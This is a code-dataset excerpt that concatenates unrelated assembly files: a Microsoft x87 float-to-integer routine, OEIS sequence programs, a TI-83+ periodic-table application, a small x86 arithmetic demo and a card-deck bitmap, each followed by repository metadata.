page ,132 title 87ftol - truncate TOS to 32-bit integer ;*** ;87ftol.asm - truncate TOS to 32-bit integer ; ; Copyright (c) 1985-2001, Microsoft Corporation. All rights reserved. ; ;Purpose: ; ;Revision History: ; ; 07/16/85 Greg Whitten ; save BX and CX for sloppy code generator ; 10/15/86 Greg Whitten ; in-line instructions rather than call _fpmath ; 08/24/87 Barry McCord ; expand the functionality of _ftol to handle ; unsigned long by using "fistp qword ptr" ; 11/24/87 Barry McCord ; added _loadds under ifdef DLL ; ; 08/26/88 Bill Johnston ; 386 version ; ;******************************************************************************* .xlist include cruntime.inc .list CODESEG public _ftol _ftol proc local oldcw:word local newcw:word local intval:qword fstcw [oldcw] ; get control word fwait ; synchronize mov ax, [oldcw] ; round mode saved or ah, 0ch ; set chop rounding mode mov [newcw], ax ; back to memory fldcw [newcw] ; reset rounding fistp qword ptr [intval] ; store chopped integer fldcw [oldcw] ; restore rounding mov eax, dword ptr [intval] mov edx, dword ptr [intval+4] ret _ftol endp end
20.881356
81
0.623377
880808a5b64cdfc4b405c59fba9836dd2d385e6e
148
asm
Assembly
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/fzero_main.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/fzero_main.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/NEWS.7z/NEWS/テープリストア/NEWS_05/NEWS_05.tar/home/kimura/fzero.lzh/fzero/fzero_main.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: fzero_main.asm Type: file Size: 46001 Last-Modified: '1993-07-20T07:13:24Z' SHA-1: CC7183EED4FECD0ECF8CD8A008B5597DD169A296 Description: null
21.142857
47
0.817568
78af3fe3232df080ded08f8a3b1524202bb67bb4
399
asm
Assembly
programs/oeis/340/A340074.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/340/A340074.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/340/A340074.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A340074: a(n) = gcd(A003961(n)-1, A339904(n)). ; 1,1,1,1,3,1,5,1,1,1,3,1,1,1,1,1,9,1,11,1,1,1,7,1,3,1,1,1,15,1,9,1,1,1,1,1,5,1,1,1,21,1,23,1,3,1,13,1,5,1,1,1,29,1,9,1,1,1,15,1,33,1,1,1,1,1,35,1,1,5,9,1,39,1,1,1,1,1,41,1,1,1,11,1,3,1,1,1,3,1,1,1,1,1,1,1,25,1,3,1 seq $0,253885 ; Permutation of even numbers: a(n) = A003961(n+1) - 1. seq $0,49559 ; a(n) = gcd(n - 1, phi(n)). lpb $0 dif $0,2 lpe
44.333333
214
0.551378
2de7e29257be7621722857e3f840b6de5e066495
11,409
asm
Assembly
Program.asm
vcte/eclectic
46d82f3a573d9fd09847a07cb9017d8a57db9b1a
[ "MIT" ]
1
2018-10-22T23:38:28.000Z
2018-10-22T23:38:28.000Z
Program.asm
vcte/eclectic
46d82f3a573d9fd09847a07cb9017d8a57db9b1a
[ "MIT" ]
null
null
null
Program.asm
vcte/eclectic
46d82f3a573d9fd09847a07cb9017d8a57db9b1a
[ "MIT" ]
null
null
null
; =============================================================== ; ECLECTIC ; =============================================================== ; --------------------------------------------------------------- ; Glitches ; -------------------------------------------------------------- ;trend grapher ;ymax (glitch) (maybe 'bar' graph) ;Corrupted prog ;Export: Alpha -> quit -> Enter -> ? ; --------------------------------------------------------------- ; Optimization ; --------------------------------------------------------------- ; --------------------------------------------------------------- ; Finalization ; --------------------------------------------------------------- ;data ;IUPAC masses ;port ; --------------------------------------------------------------- ; More features ; --------------------------------------------------------------- ; Graph - conductivities ; Preferences ;Units ;Table main data ;Highlight ; Set data .NOLIST #include "ti83plus.inc .LIST #include "Program.bin.inc" .exportmode Assembly .export ;--random macros-- #define Line(X1, Y1, X2, Y2) ld HL, Y1 + 256 * X1 \ ld DE, Y2 + 256 * X2 \ call fastlineb #define CEASE call ifastcopy \ b_call(_GetCSC) \ or A \ jr z, $ - 1 - 3 ;halts execution, disps buffer and waits for keypress. Used for testing purposes. #define STOP di \ jp $ \ ei ;--data storage-- #define buf AppBackUpScreen ;9872; #define elex buf ;x position of cursor #define eley buf + 1 ;y position of cursor #define size buf + 2 ;current size of input #define temp buf + 3 ;temp storage (used by geta) #define counter buf + 4 ;counts down blinker #define curele buf + 5 ;current element number (set by geta & LR movement, among others) #define curpage buf + 6 ;current element data page, 0 relative #define curperiod buf + 7 ;current element period (set by GetPeriod) #define curcolumn buf + 8 ;current element column (set by GetColumn) #define menuopt buf + 9 ;menu option, 0 relative #define maxopt buf + 10 ;maximum value of menuopt ;987C; #define tempHL buf + 11 ;temp 2 byte storage (used by menu) #define cursorA buf + 13 ;character for cursor #define cursorwid buf + 14 ;width of above cursor #define alphanum buf + 15 ;alpha-num status (0 = num, 1 = alpha, 2 = lower) #define tempele buf + 16 ;temp storage of curele #define block9 buf + 17 ;9 byte block of RAM (used by BCDFP conversion) ;9883; #define block18 buf + 26 ;18 byte block of RAM (used during BCDFP conv.) ;988C; #define block18A buf + 44 ;18 byte block of RAM (used during BCDFP conv.) ;989E; #define sig1 buf + 62 ;temp data used by BCDFP conversion ;98B0; #define commapos buf + 63 ;temp data used by BCDFP conversion #define lengthbcd buf + 64 ;temp data used by BCDFP conversion #define ele1num buf + 66 ;temp data used by Electroneg. dif calc ;98B4; #define menusel buf + 67 ;menu option, 0 relative #define tokenpt buf + 68 ;storage of 2 byte token ;98B6; #define numtoskip buf + 70 ;# data entries to skip (Export) #define tempele buf + 71 ;temporarily stores curele #define maxlist buf + 72 ;max # of elements in export list ;98BA; #define GYMax buf + 73 ;9 byte storage for graph's ymax #define LastPoint buf + 82 ;2 byte storage of x-y of last point on graph #define xval buf + 84 ;current x value of graph ;98C6; #define trace buf + 85 ;current x value of trace function #define shift buf + 86 ;0 = graph at left, 1 = graph at right #define traceE buf + 87 ;current element being traced #define tempSP buf + 100 ;stores SP at prog start #define buf2 SaveSScreen ;86EC; #define buffer buf2 ;buffer for input of search box (max 14 bytes) #define conv buf2 + 14 ;output of integer to string conversion (max 4 bytes) #define bcd buf2 + 18 ;output of BCD to string conversion (max 8 bytes so far) #define input buf2 + 26 ;input of string to integer conversion (max 4 bytes) #define tokenstr buf2 + 30 ;output of char string to list name conversion (max 9 bytes) #define tempstr buf2 + 39 ;temporary string data (Molar Mass computation) ;874F; #define tempstr2 buf2 + 70 ;temporary string data (Error message) ;8782; #define tempstr3 buf2 + 100 ;temporary string data (centertext) #define templine buf2 + 150 ;temp data for fastlineB #define buf3 TempSwapArea ;82A5; #define vGraphStyle buf3 ;graph style: 0 = dot, 1 = line, 2 = bar ;#define IsNew buf3 + 50 ;whether appvar needs to be created (1) or not (0) #define sizevar 2 + 1 + 1 ;size of AppVar ;--CONSTANTS-- #define S_BLOCK 0 #define P_BLOCK 1 #define D_BLOCK 2 #define F_BLOCK 3 #define HCP 1 #define CCP 2 #define BCC 3 #define BCT 4 #define COR 5 #define RH 6 ;#define Hex|Tetra 7 #define CUB 8 #define FCC 9 ;#define Diamond cub 10 ;#define spec tetra 11 ;#define cryst hex 12 #ifdef TI83P #define ifastcopy ionFastCopy ; override Mirage functions #define isprite ionPutSprite #define Largespritehl ionLargeSprite #define igetpix IonGetPixel #endif #ifdef TI83PI #define ifastcopy ionFastCopy ; override Mirage functions #define isprite ionPutSprite #define Largespritehl ionLargeSprite #define igetpix IonGetPixel #endif Start: ret ld (tempSP), SP ;zStart patch Settings: ld HL, VECLECT ; Settings (VECLECT : AppVar) rst rMov9ToOp1 ; If (Exists(VECLECT) == true) ;first, try to find the appvar w/ save data b_call(_ChkFindSym) ; { jr c, SettingsNew ; If (IsAppVar(VECLECT) == true) ; { and $1F ; If (IsRAM(VECLECT) == true) ;if in RAM, then get data cp AppVarObj ; { jr nz, SettingsNew0 ; If (IdentifierGood(VECLECT)) == true) ;check identifier ; { xor A ; GetData(VECLECT) ;load data into 'settings' portion of memory or B ; return jr z, SettingsRAM ; } ; Else push DE ; { ld HL, sizevar ; DelVar(VECLECT) ;if not equal, then create new settings and delete the appvar b_call(_EnoughMem) ; NewSettings() pop DE ; } jr nc, SettingsEnough ; Else If (EnoughMem(Appvar.size)) ;check if enough mem is available for unarchiving appvar ; { ld HL, ErrorCantUnarc ; Unarc(VECLECT) ;find data location after ArcUnarc modifies it call DispErr ; GetData(VECLECT) jr SettingsNew ; } ; Else SettingsEnough: ; { b_call(_Arc_Unarc) ; DispErr(CantUnarc) ;throw error if unarchivable ld HL, VECLECT ; NewSettings() rst rMov9ToOp1 ; } b_call(_ChkFindSym) ; Else ;if not appvar, then create new settings and delete the var SettingsRAM: ; { inc DE ; DelVar(VECLECT) inc DE ; NewSettings() ld A, (DE) ; } cp $13 ; Else ;if not found, then create new settings jr nz, SettingsNew1 ; { ; NewSettings() inc DE ; } ex DE, HL ld DE, buf3 ld BC, sizevar - 3 ldir jr Main SettingsNew1: ld HL, VECLECT ;get params for DelVarArc rst rMov9ToOp1 b_call(_FindSym) SettingsNew0: b_call(_DelVarArc) SettingsNew: xor A ;set graph style to dot ld (vGraphStyle), A Main: res textInverse, (IY + textFlags) set textWrite, (IY + sGrFlags) res fracDrawLFont, (IY + fontFlags) res AppTextSave, (IY + AppFlags) res indicOnly, (IY + indicFlags) res indicRun, (IY + indicFlags) res lwrCaseActive, (IY + appLwrCaseFlag) res ShiftKeepAlph, (IY + ShiftFlags) res ShiftAlpha, (IY + ShiftFlags) res fmtExponent, (IY + fmtFlags) res fmtEng, (IY + fmtFlags) res 0, (IY + Asm_Flag1) ;whether cursor is displayed (1) or not (0) res 1, (IY + Asm_Flag1) ;1 = enable input cursor, 0 = disable input cursor res 2, (IY + Asm_Flag2) ;1 = '2nd' mode, 0 = 'alpha' mode call init ld A, 3 ;(3, 3) ld (elex), A ld (eley), A selectinit: xor A ld (size), A selectinit2: ld A, $7C ld (cursorA), A ld A, 2 ld (cursorwid), A call discur selectele: call dispele select: bit 1, (IY + Asm_Flag1) call z, drawcur call ifastcopy call GetCSCCur push AF bit 1, (IY + Asm_Flag1) call z, drawcur pop AF select2: ld HL, keyMain call HandleKey bit ShiftAlpha, (IY + ShiftFlags) jr z, numerical ld C, A ;return to loop if at max chars ld A, (size) cp 13 jp z, select ld A, (PenCol) ;if char can't fit on scrn, cp 96 - 10 ;then return to loop jp nc, select ld A, C call GetChar jp c, select call SaveUpLow b_call(_VPutMap) call encur jp select numerical: ld C, A ld A, (size) cp 3 jp z, select ld A, C call GetNum jp c, select call SaveIn b_call(_VPutMap) call encur jp select up: call discur call goup jp selectele down: call discur call godown jp selectele left: call discur call GoLeft jp selectele right: call discur call GoRight jp selectele del: call Delete jp select clear: ld A, (size) or A jr z, togglecuroff ld A, 37 call ClearIn jp select alpha: call encur ld A, (size) or A jp nz, select ld A, 2 ld (PenCol), A bit ShiftAlpha, (IY + ShiftFlags) jr z, alpha1 res ShiftAlpha, (IY + ShiftFlags) ld A, $23 b_call(_VPutMap) ld A, 37 ld (PenCol), A jp select alpha1: set ShiftAlpha, (IY + ShiftFlags) ld A, $41 b_call(_VPutMap) ld A, $20 b_call(_VPutMap) ld A, 37 ld (PenCol), A jp select togglecur: bit 1, (IY + Asm_Flag1) jr z, togglecuren togglecuroff: call discur jp select togglecuren: call encur jp select done: ld HL, tGoodbye call DrawTitle ld HL, 24 * 256 + 1 ld (PenCol), HL ld HL, tQuitting b_call(_VPutS) call ifastcopy ld HL, VECLECT rst rMov9ToOp1 b_call(_ChkFindSym) jr nc, doneexists ;if appvar found, then store data ld HL, sizevar ;else, create appvar b_call(_CreateAppVar) doneexists: inc DE ;skip over size bytes inc DE ld A, $13 ;set identifier ld (DE), A inc DE ld HL, buf3 ;load save data ld BC, sizevar - 3 ldir ld HL, (tempSP) ld SP, HL ret ;zStart patch ;call quittoshell enter: bit 1, (IY + Asm_Flag1) jp z, second ld A, (size) ;check if input string exists or A jp z, select xor A call SaveIn ld HL, size ;account for a glitch dec (HL) bit ShiftAlpha, (IY + ShiftFlags) ;string | numerical input jr nz, enteralp ld HL, buffer ld DE, input ld BC, 4 ldir call strint jr c, enternfound ld A, B or A jr z, enternfound cp 119 jr nc, enternfound jr enterfoundnum enteralp: ld C, 0 ld DE, buffer ld A, (size) ;atomic symbol | name cp 4 jr c, entera inc C entera: call SearchStr jr nc, enter1found enternfound: ld HL, error call DispErr call init ld HL, buffer b_call(_VPutS) call curson jp select enter1found: enterfoundnum: call GetPos ;find element position in periodic table from number enter0: call curoff jp selectinit2 second: ;progress into page 1 #include "Pages.asm" secondhandle: ;handles keypresses b_call(_GetCSC) or A jr z, secondhandle ld HL, keysecond call HandleKey jr secondhandle nextele: call GoRight jr gotopage prevele: call GoLeft jr gotopage upele: call GoUp jr gotopage downele: call GoDown ; jr gotopage gotopage: ;'subroutine' that goes to the page specified by (curpage) ld A, (curpage) sla A ld D, 0 ld E, A ld HL, pages add HL, DE call LdHLInd jp (HL) secondret: call init call discur call dispele xor A ld (size), A jp select #include "../Options/Features.asm" #include "../Routines/Routines.asm" ;#include "../Data/Data.asm" .fill 267, 0 ; 58 + 192 + 1 .end
22.592079
156
0.64116
f37e60c8e32d546f22b9acaf52ba7c54c3535f89
344
asm
Assembly
01/operators/operators.asm
DaviNakamuraCardoso/assembly
47ce8eeb253122f2d601c6d5bec276566e2df5cf
[ "MIT" ]
null
null
null
01/operators/operators.asm
DaviNakamuraCardoso/assembly
47ce8eeb253122f2d601c6d5bec276566e2df5cf
[ "MIT" ]
null
null
null
01/operators/operators.asm
DaviNakamuraCardoso/assembly
47ce8eeb253122f2d601c6d5bec276566e2df5cf
[ "MIT" ]
null
null
null
; Performs operations in Assembly x86 global _start _start: mov eax, 123 ; eax = 1 mov eax, ebx ; eax = ebx add ebx, ecx ; ebx += ecx sub ebx, edx ; ebx -= edx mul ebx ; eax *= ebx div edx ; eax /= edx
28.666667
46
0.380814
be7d01ff9e2d936617d9cc939766e4039165586a
299
asm
Assembly
programs/oeis/039/A039823.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/039/A039823.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/039/A039823.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A039823: a(n) = ceiling( (n^2 + n + 2)/4 ). ; 1,2,4,6,8,11,15,19,23,28,34,40,46,53,61,69,77,86,96,106,116,127,139,151,163,176,190,204,218,233,249,265,281,298,316,334,352,371,391,411,431,452,474,496,518,541,565,589,613,638,664,690,716,743,771,799,827 add $0,2 bin $0,2 add $0,2 div $0,2 mov $1,$0
33.222222
205
0.645485
06461cbc9e76ec9d92a878c1a6ff4efc5bf578dc
1,018
asm
Assembly
programs/oeis/004/A004773.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/004/A004773.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/004/A004773.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A004773: Numbers congruent to {0, 1, 2} mod 4: a(n) = floor(4*n/3). ; 0,1,2,4,5,6,8,9,10,12,13,14,16,17,18,20,21,22,24,25,26,28,29,30,32,33,34,36,37,38,40,41,42,44,45,46,48,49,50,52,53,54,56,57,58,60,61,62,64,65,66,68,69,70,72,73,74,76,77,78,80,81,82,84,85,86,88,89,90,92,93,94,96,97,98,100,101,102,104,105,106,108,109,110,112,113,114,116,117,118,120,121,122,124,125,126,128,129,130,132,133,134,136,137,138,140,141,142,144,145,146,148,149,150,152,153,154,156,157,158,160,161,162,164,165,166,168,169,170,172,173,174,176,177,178,180,181,182,184,185,186,188,189,190,192,193,194,196,197,198,200,201,202,204,205,206,208,209,210,212,213,214,216,217,218,220,221,222,224,225,226,228,229,230,232,233,234,236,237,238,240,241,242,244,245,246,248,249,250,252,253,254,256,257,258,260,261,262,264,265,266,268,269,270,272,273,274,276,277,278,280,281,282,284,285,286,288,289,290,292,293,294,296,297,298,300,301,302,304,305,306,308,309,310,312,313,314,316,317,318,320,321,322,324,325,326,328,329,330,332 mov $1,$0 mul $1,4 div $1,3
145.428571
918
0.711198
b8096507be3bdbffa30cb56abcc12ee4de850317
749
asm
Assembly
programs/oeis/070/A070342.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/070/A070342.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/070/A070342.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A070342: a(n) = 3^n mod 19. ; 1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12,17,13,1,3,9,8,5,15,7,2,6,18,16,10,11,14,4,12 mov $1,1 lpb $0,1 sub $0,1 mul $1,3 mod $1,19 lpe mul $1,2 sub $1,2 div $1,2 add $1,1
53.5
625
0.586115
5563859207114a7656581c5629228fdf08f78096
6,265
asm
Assembly
Appl/Art/Decks/GeoDeck/LMGrapes.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Appl/Art/Decks/GeoDeck/LMGrapes.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Appl/Art/Decks/GeoDeck/LMGrapes.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
LMGrapes label byte word C_BLACK Bitmap <71,100,0,BMF_MONO> db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08 db 0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xc0 db 0x9f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xe4 db 0x98, 0x3f, 0xd4, 0x5f, 0x60, 0x03, 0x00, 0x00, 0x24 db 0x98, 0x4f, 0xba, 0xea, 0xfe, 0x02, 0x80, 0x00, 0x24 db 0x98, 0x8f, 0x77, 0xd5, 0xd6, 0x0f, 0x78, 0x00, 0x24 db 0x99, 0x1f, 0xeb, 0xbb, 0xbc, 0x1a, 0xa8, 0x00, 0x24 db 0x9a, 0x2f, 0xdf, 0x55, 0x50, 0x7f, 0xd0, 0x00, 0x24 db 0x9a, 0x4f, 0xae, 0xaf, 0xec, 0x6a, 0xff, 0x00, 0x24 db 0x9a, 0x4f, 0x5f, 0x57, 0x77, 0xd5, 0xd5, 0x3e, 0x24 db 0x9a, 0x4f, 0xe0, 0xe1, 0xbc, 0x2a, 0xeb, 0xc1, 0x24 db 0x9a, 0x4f, 0x80, 0x40, 0xe0, 0x1d, 0x7f, 0x00, 0xa4 db 0x9a, 0x2f, 0xfe, 0x3f, 0xff, 0xce, 0xbb, 0xfc, 0x64 db 0x9a, 0x1f, 0xff, 0x1f, 0xff, 0xe7, 0x5d, 0xfe, 0x24 db 0x99, 0x07, 0xff, 0x8f, 0xff, 0xf6, 0xea, 0xff, 0x24 db 0x9f, 0xc1, 0x22, 0x40, 0x3d, 0x55, 0x5d, 0x4d, 0xa4 db 0x9a, 0xa0, 0xa2, 0x30, 0xda, 0xef, 0xae, 0xfa, 0xe4 db 0x9d, 0x78, 0x42, 0x0f, 0x3f, 0xd7, 0xf7, 0xf5, 0xa4 db 0x9a, 0xae, 0x24, 0x00, 0x6a, 0xab, 0xfb, 0x6a, 0xe4 db 0x9d, 0x5e, 0x1c, 0x00, 0xd5, 0xf5, 0xcd, 0x55, 0xa4 db 0x9b, 0xaf, 0x0c, 0x00, 0x3b, 0xbb, 0x4f, 0x6f, 0xe4 db 0x9e, 0xff, 0x8f, 0x00, 0x1d, 0x57, 0x72, 0xd5, 0x24 db 0x9a, 0x6f, 0xca, 0xf0, 0x7a, 0xb3, 0x93, 0xbe, 0xe4 db 0x9e, 0x6f, 0x4d, 0x50, 0x77, 0xfc, 0x9f, 0xd5, 0xe4 db 0x9a, 0x6f, 0x5e, 0xa0, 0x1e, 0xac, 0xf2, 0xbe, 0x24 db 0x9e, 0x6f, 0x75, 0xfe, 0x05, 0x93, 0x92, 0xbe, 0x24 db 0x9d, 0xdf, 0xea, 0xaa, 0x07, 0x13, 0x9f, 0xb6, 0x24 db 0x99, 0x4f, 0x77, 0xd4, 0x06, 0x0c, 0xe5, 0x48, 0x24 db 0x98, 0x8f, 0x2e, 0xff, 0x04, 0x04, 0xe7, 0x48, 0x24 db 0x98, 0xcf, 0x3d, 0x55, 0x08, 0x0b, 0x9c, 0xb0, 0x24 db 0x99, 0x2f, 0x0a, 0xeb, 0x08, 0x09, 0x9c, 0xc8, 0x24 db 0x99, 0x1f, 0x8d, 0xd5, 0x10, 0x06, 0x73, 0xc8, 0x24 db 0x99, 0x1f, 0x9a, 0xba, 0xa0, 0x02, 0x73, 0x30, 0x24 db 0x9a, 0x2f, 0x55, 0x55, 0x40, 0x01, 0x9d, 0x20, 0x24 db 0x9a, 0x2f, 0x3e, 0xaa, 0xc0, 0x00, 0x92, 0xc0, 0x24 db 0x9a, 0x2f, 0x23, 0x57, 0xc0, 0x00, 0x72, 0x40, 0x24 db 0x9a, 0x1f, 0x42, 0xaa, 0x00, 0x00, 0x9e, 0x40, 0x24 db 0x9a, 0x0f, 0x45, 0x16, 0x00, 0x00, 0x93, 0x80, 0x24 db 0x9f, 0x03, 0x85, 0x0e, 0x00, 0x00, 0x7b, 0x00, 0x24 db 0x9d, 0x8e, 0x08, 0x01, 0x80, 0x00, 0x4d, 0x00, 0x24 db 0x9b, 0xf8, 0x08, 0x00, 0x70, 0x00, 0x5e, 0x00, 0xe4 db 0x9f, 0x40, 0x70, 0x00, 0x0e, 0x00, 0x32, 0x03, 0x24 db 0x9a, 0xc1, 0x88, 0x00, 0x01, 0xe0, 0x2c, 0x0c, 0x24 db 0x9f, 0x83, 0x88, 0x00, 0x00, 0x1c, 0x24, 0x30, 0x24 db 0x9b, 0x07, 0x88, 0x00, 0x00, 0x03, 0x9f, 0xc0, 0x24 db 0x9d, 0x1f, 0x44, 0x00, 0x00, 0x00, 0x70, 0x00, 0x24 db 0x9b, 0x1f, 0x44, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x24 db 0x9d, 0x2f, 0xe2, 0x00, 0x00, 0x03, 0x00, 0x00, 0x24 db 0x9f, 0x2f, 0xe2, 0x00, 0x00, 0x04, 0x00, 0x00, 0x24 db 0x9a, 0xbd, 0x62, 0x00, 0x00, 0x08, 0x00, 0x00, 0x24 db 0x98, 0xaa, 0xc2, 0x00, 0x00, 0x70, 0x00, 0x00, 0x24 db 0x99, 0xf5, 0xe3, 0x00, 0x00, 0x80, 0x00, 0x00, 0x24 db 0x99, 0xfe, 0xb7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x55, 0x5d, 0x70, 0x04, 0x00, 0x00, 0x00, 0x24 db 0x99, 0xaf, 0xb2, 0xbc, 0x08, 0x00, 0x00, 0x00, 0x24 db 0x9b, 0xfd, 0xd3, 0xf6, 0x10, 0x00, 0x00, 0x00, 0x24 db 0x9a, 0xaa, 0xfe, 0xef, 0x20, 0x00, 0x00, 0x00, 0x24 db 0x9b, 0x5d, 0x4e, 0x5d, 0x40, 0x00, 0x00, 0x00, 0x24 db 0x9e, 0xae, 0xc9, 0xfe, 0x80, 0x00, 0x00, 0x00, 0x24 db 0x9d, 0x75, 0x69, 0x35, 0x80, 0x00, 0x00, 0x00, 0x24 db 0x9a, 0xaa, 0xaf, 0xba, 0x80, 0x00, 0x00, 0x00, 0x24 db 0x9d, 0x55, 0xf2, 0xc5, 0x80, 0x00, 0x00, 0x00, 0x24 db 0x9f, 0xab, 0x12, 0x64, 0x80, 0x00, 0x00, 0x00, 0x24 db 0x9b, 0x5d, 0x2d, 0xdc, 0x80, 0x00, 0x00, 0x00, 0x24 db 0x9f, 0xa2, 0x65, 0x53, 0xff, 0xff, 0xff, 0xff, 0xe4 db 0x99, 0xc0, 0x99, 0xf2, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x83, 0x8e, 0x9c, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x0f, 0x84, 0xb4, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x1f, 0x47, 0xe4, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x2f, 0x46, 0x78, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x2f, 0x22, 0xd4, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x9f, 0x23, 0x94, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x9f, 0x23, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x4f, 0x22, 0x64, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x98, 0xbf, 0xc2, 0x64, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x8f, 0x43, 0xf8, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x1f, 0x44, 0x90, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x1f, 0x28, 0x90, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x1f, 0x18, 0x68, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x1f, 0x90, 0x08, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x1f, 0x90, 0x04, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x1f, 0x48, 0x04, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x8f, 0x48, 0x02, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x8f, 0x44, 0x02, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x9f, 0x84, 0x01, 0x00, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x64, 0x08, 0x00, 0x80, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x40, 0x10, 0x00, 0x80, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x40, 0x60, 0x00, 0x60, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x8f, 0x90, 0x00, 0x10, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x9f, 0x88, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x1f, 0x88, 0x00, 0x02, 0x00, 0x00, 0x00, 0x24 db 0x99, 0x1f, 0x44, 0x00, 0x01, 0x00, 0x00, 0x00, 0x24 db 0x98, 0x9f, 0x44, 0x00, 0x00, 0x80, 0x00, 0x00, 0x44 db 0x8f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x8c db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18 db 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38 db 0x0f, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xe0 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
30.710784
53
0.614206
4f024372a57983f3b1ddbe9930940907007caf66
449
asm
Assembly
programs/oeis/157/A157657.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/157/A157657.asm
neoneye/loda
